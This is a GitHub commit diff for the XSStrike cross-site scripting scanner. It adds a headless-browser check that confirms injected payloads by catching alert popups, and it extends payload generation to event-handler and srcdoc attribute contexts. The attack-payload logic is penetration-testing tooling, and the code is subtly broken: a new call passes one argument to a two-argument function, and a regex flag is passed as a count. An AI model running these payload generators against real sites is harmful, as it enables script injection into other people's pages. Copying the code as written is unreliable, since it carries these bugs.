- browser engine integration for zero false positives
- coverage of event handler context
- bug fixes
This commit is contained in:
Somdev Sangwan
2018-11-21 19:20:10 +05:30
committed by GitHub
parent 1d7e943f35
commit 2a70e5bdf1
9 changed files with 141 additions and 41 deletions

28
core/browserEngine.py Normal file
View File

@@ -0,0 +1,28 @@
import re
import os
import sys
from core.config import xsschecker
from core.utils import writer
from selenium import webdriver
from selenium.webdriver.firefox.options import Options
from selenium.common.exceptions import UnexpectedAlertPresentException
def browserEngine(url, response):
options = Options()
options.add_argument('--headless')
browser = webdriver.Firefox(options=options)
response = re.sub(r'<script.*?src=.*?>', '<script src=#>', response, re.I)
response = re.sub(r'href=.*?>', 'href=#>', response, re.I)
writer(response, 'test.html')
browser.get('file://' + sys.path[0] + '/test.html')
os.remove('test.html')
popUp = False
actions = webdriver.ActionChains(browser)
try:
actions.move_by_offset(2, 2)
actions.perform()
browser.close()
except UnexpectedAlertPresentException:
popUp = True
browser.quit()
return popUp

View File

@@ -1,4 +1,4 @@
changes = '''ability to load seeds from file;show parameter name while bruteforcing;fixed payload display while using POST method''' changes = '''browser engine integration for zero false positives;coverage of event handler context;bug fixes'''
defaultEditor = 'nano' defaultEditor = 'nano'
blindPayload = '' # your blind XSS payload blindPayload = '' # your blind XSS payload

View File

@@ -11,13 +11,17 @@ def filterChecker(url, params, headers, GET, delay, occurences, timeout, encodin
for i, occurence in zip(range(len(occurences)), occurences.values()): for i, occurence in zip(range(len(occurences)), occurences.values()):
environments.add(occurence['context'][1]) environments.add(occurence['context'][1])
location = occurence['context'][0] location = occurence['context'][0]
attribute = occurence['context'][3] try:
attributeName = list(occurence['context'][3].keys())[0]
attributeValue = list(occurence['context'][3].values())[0]
except AttributeError:
attributeName = occurence['context'][3]
positions[str(i)] = occurence['position'] positions[str(i)] = occurence['position']
if location == 'comment': if location == 'comment':
environments.add('-->') environments.add('-->')
elif location == 'script': elif location == 'script':
environments.add('</scRipT/>') environments.add('</scRipT/>')
elif attribute == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding elif attributeName == 'srcdoc': # srcdoc attribute accepts html data with html entity encoding
environments.add('&lt;') # so let's add the html entity environments.add('&lt;') # so let's add the html entity
environments.add('&gt;') # encoded versions of < and > environments.add('&gt;') # encoded versions of < and >

View File

@@ -1,4 +1,4 @@
from core.config import badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions from core.config import xsschecker, badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
from core.jsContexter import jsContexter from core.jsContexter import jsContexter
from core.utils import randomUpper as r, genGen, extractScripts from core.utils import randomUpper as r, genGen, extractScripts
@@ -12,7 +12,11 @@ def generator(occurences, response):
context = occurences[i]['context'][0] context = occurences[i]['context'][0]
breaker = occurences[i]['context'][1] breaker = occurences[i]['context'][1]
special = occurences[i]['context'][2] special = occurences[i]['context'][2]
attribute = occurences[i]['context'][3] try:
attributeName = list(occurences[i]['context'][3].keys())[0]
attributeValue = list(occurences[i]['context'][3].values())[0]
except AttributeError:
attributeName = occurences[i]['context'][3]
if special not in badTags: if special not in badTags:
special = '' special = ''
elif context == 'attribute': elif context == 'attribute':
@@ -35,6 +39,7 @@ def generator(occurences, response):
for payload in payloads: for payload in payloads:
vectors[10].add(payload) vectors[10].add(payload)
elif context == 'attribute': elif context == 'attribute':
found = False
breakerEfficiency = occurences[i]['score'][breaker] breakerEfficiency = occurences[i]['score'][breaker]
greatBracketEfficiency = occurences[i]['score']['>'] greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//'] ends = ['//']
@@ -48,28 +53,62 @@ def generator(occurences, response):
payload = payload.replace(breaker, breaker + '>') payload = payload.replace(breaker, breaker + '>')
else: else:
payload = '>' + payload payload = '>' + payload
vectors[10].add(payload) found = True
vectors[6].add(payload)
if breakerEfficiency == 100: if breakerEfficiency == 100:
for filling in fillings: for filling in fillings:
for function in functions: for function in functions:
vector = breaker + filling + 'auTOfOcuS' + \ vector = breaker + filling + 'auTOfOcuS' + \
filling + 'OnFoCUs' + '=' + breaker + function filling + 'OnFoCUs' + '=' + breaker + function
found = True
vectors[6].add(vector) vectors[6].add(vector)
if breakerEfficiency == 90: if breakerEfficiency == 90:
for filling in fillings: for filling in fillings:
for function in functions: for function in functions:
vector = '\\' + breaker + filling + 'auTOfOcuS' + filling + \ vector = '\\' + breaker + filling + 'auTOfOcuS' + filling + \
'OnFoCUs' + '=' + function + filling + '\\' + breaker 'OnFoCUs' + '=' + function + filling + '\\' + breaker
found = True
vectors[6].add(vector) vectors[6].add(vector)
if attribute == 'srcdoc': if attributeName == 'srcdoc':
if occurences[i]['score']['&lt;']: if occurences[i]['score']['&lt;']:
if occurences[i]['score']['&gt;']: if occurences[i]['score']['&gt;']:
del ends[:] del ends[:]
ends.append('&t;') ends.append('%26gt;')
payloads = genGen( payloads = genGen(
fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, '', '') fillings, eFillings, lFillings, eventHandlers, tags, functions, ends, '', '')
for payload in payloads: for payload in payloads:
vectors[10].add(payload.replace('<', '&lt;')) found = True
vectors[9].add(payload.replace('<', '%26lt;'))
if attributeName.startswith('on'):
closer = jsContexter(attributeValue)
breaker = ''
for char in attributeValue.split(xsschecker)[1]:
if char in ['\'', '"', '`']:
breaker = char
break
if closer:
suffix = '//\\'
for filling in jFillings:
for function in functions:
vector = breaker + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
elif breakerEfficiency > 83:
suffix = '//'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if breaker == '':
filling = ''
vector = '\\' + breaker + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
elif context == 'comment': elif context == 'comment':
lessBracketEfficiency = occurences[i]['score']['<'] lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>'] greatBracketEfficiency = occurences[i]['score']['>']
@@ -83,12 +122,12 @@ def generator(occurences, response):
for payload in payloads: for payload in payloads:
vectors[10].add(payload) vectors[10].add(payload)
elif context == 'script': elif context == 'script':
if scripts:
try: try:
script = scripts[index] script = scripts[index]
except IndexError: except IndexError:
try:
script = scripts[0] script = scripts[0]
except: else:
continue continue
closer = jsContexter(script) closer = jsContexter(script)
scriptEfficiency = occurences[i]['score']['</scRipT/>'] scriptEfficiency = occurences[i]['score']['</scRipT/>']

View File

@@ -69,7 +69,11 @@ def htmlParser(response, encoding):
for attr in attrs: # iterate over the attribute for attr in attrs: # iterate over the attribute
if xsschecker in attr: # is xsschecker in this attribute? if xsschecker in attr: # is xsschecker in this attribute?
# alright, this is the one we need # alright, this is the one we need
attributes.append(attr.split('=')[0]) attributeName = attr.split('=')[0]
attributeValue = ''.join(attr.split('=')[1:])
if attributeValue.startswith('\'') or attributeValue.startswith('"'):
attributeValue = attributeValue[1:-1]
attributes.append({attributeName:attributeValue})
break break
try: try:
# finds the tag "inside" which input is refelcted # finds the tag "inside" which input is refelcted

View File

@@ -121,7 +121,7 @@ def genGen(fillings, eFillings, lFillings, eventHandlers, tags, functions, ends,
r = randomUpper # randomUpper randomly converts chars of a string to uppercase r = randomUpper # randomUpper randomly converts chars of a string to uppercase
for tag in tags: for tag in tags:
if tag == 'd3v' or tag == 'a': if tag == 'd3v' or tag == 'a':
bait = 'z' bait = xsschecker
else: else:
bait = '' bait = ''
for eventHandler in eventHandlers: for eventHandler in eventHandlers:

View File

@@ -1,7 +1,9 @@
import copy import copy
import re
from urllib.parse import urlparse, quote, unquote from urllib.parse import urlparse, quote, unquote
from core.arjun import arjun from core.arjun import arjun
from core.browserEngine import browserEngine
from core.checker import checker from core.checker import checker
from core.colors import good, bad, end, info, green, run, red, que from core.colors import good, bad, end, info, green, run, red, que
from core.config import xsschecker, minEfficiency from core.config import xsschecker, minEfficiency
@@ -86,20 +88,21 @@ def scan(target, paramData, verbose, encoding, headers, delay, timeout, skipDOM,
progress = 0 progress = 0
for confidence, vects in vectors.items(): for confidence, vects in vectors.items():
for vect in vects: for vect in vects:
printVector = vect
progress += 1 progress += 1
print ('%s Progress: %i/%i' % (run, progress, total), end='\r')
if confidence == 10:
if not GET: if not GET:
vect = unquote(vect) vect = unquote(vect)
efficiencies = checker( efficiencies = checker(
url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding) url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding)
if not GET:
vect = quote(vect)
if not efficiencies: if not efficiencies:
for i in range(len(occurences)): for i in range(len(occurences)):
efficiencies.append(0) efficiencies.append(0)
bestEfficiency = max(efficiencies) bestEfficiency = max(efficiencies)
if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 95): if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 95):
print(('%s-%s' % (red, end)) * 60) print(('%s-%s' % (red, end)) * 60)
print('%s Payload: %s' % (good, vect)) print('%s Payload: %s' % (good, printVector))
print('%s Efficiency: %i' % (info, bestEfficiency)) print('%s Efficiency: %i' % (info, bestEfficiency))
print('%s Confidence: %i' % (info, confidence)) print('%s Confidence: %i' % (info, confidence))
if not skip: if not skip:
@@ -109,6 +112,27 @@ def scan(target, paramData, verbose, encoding, headers, delay, timeout, skipDOM,
quit() quit()
elif bestEfficiency > minEfficiency: elif bestEfficiency > minEfficiency:
print(('%s-%s' % (red, end)) * 60) print(('%s-%s' % (red, end)) * 60)
print('%s Payload: %s' % (good, vect)) print('%s Payload: %s' % (good, printVector))
print('%s Efficiency: %i' % (info, bestEfficiency)) print('%s Efficiency: %i' % (info, bestEfficiency))
print('%s Confidence: %i' % (info, confidence)) print('%s Confidence: %i' % (info, confidence))
else:
if re.search(r'<(a|d3|details)|lt;(a|d3|details)', vect.lower()):
continue
vect = unquote(vect)
if encoding:
paramsCopy[paramName] = encoding(vect)
else:
paramsCopy[paramName] = vect
response = requester(url, paramsCopy, headers, GET, delay, timeout).text
success = browserEngine(response)
if success:
print(('%s-%s' % (red, end)) * 60)
print('%s Payload: %s' % (good, printVector))
print('%s Efficiency: %i' % (info, 100))
print('%s Confidence: %i' % (info, 10))
if not skip:
choice = input(
'%s Would you like to continue scanning? [y/N] ' % que).lower()
if choice != 'y':
quit()
print ('')

View File

@@ -1,3 +1,4 @@
tld tld
fuzzywuzzy fuzzywuzzy
requests requests
selenium

View File

@@ -22,7 +22,7 @@ from modes.singleFuzz import singleFuzz
# Just a fancy ass banner # Just a fancy ass banner
print('''%s print('''%s
\tXSStrike %sv3.0.5 \tXSStrike %sv3.1.0
%s''' % (red, white, end)) %s''' % (red, white, end))
try: try: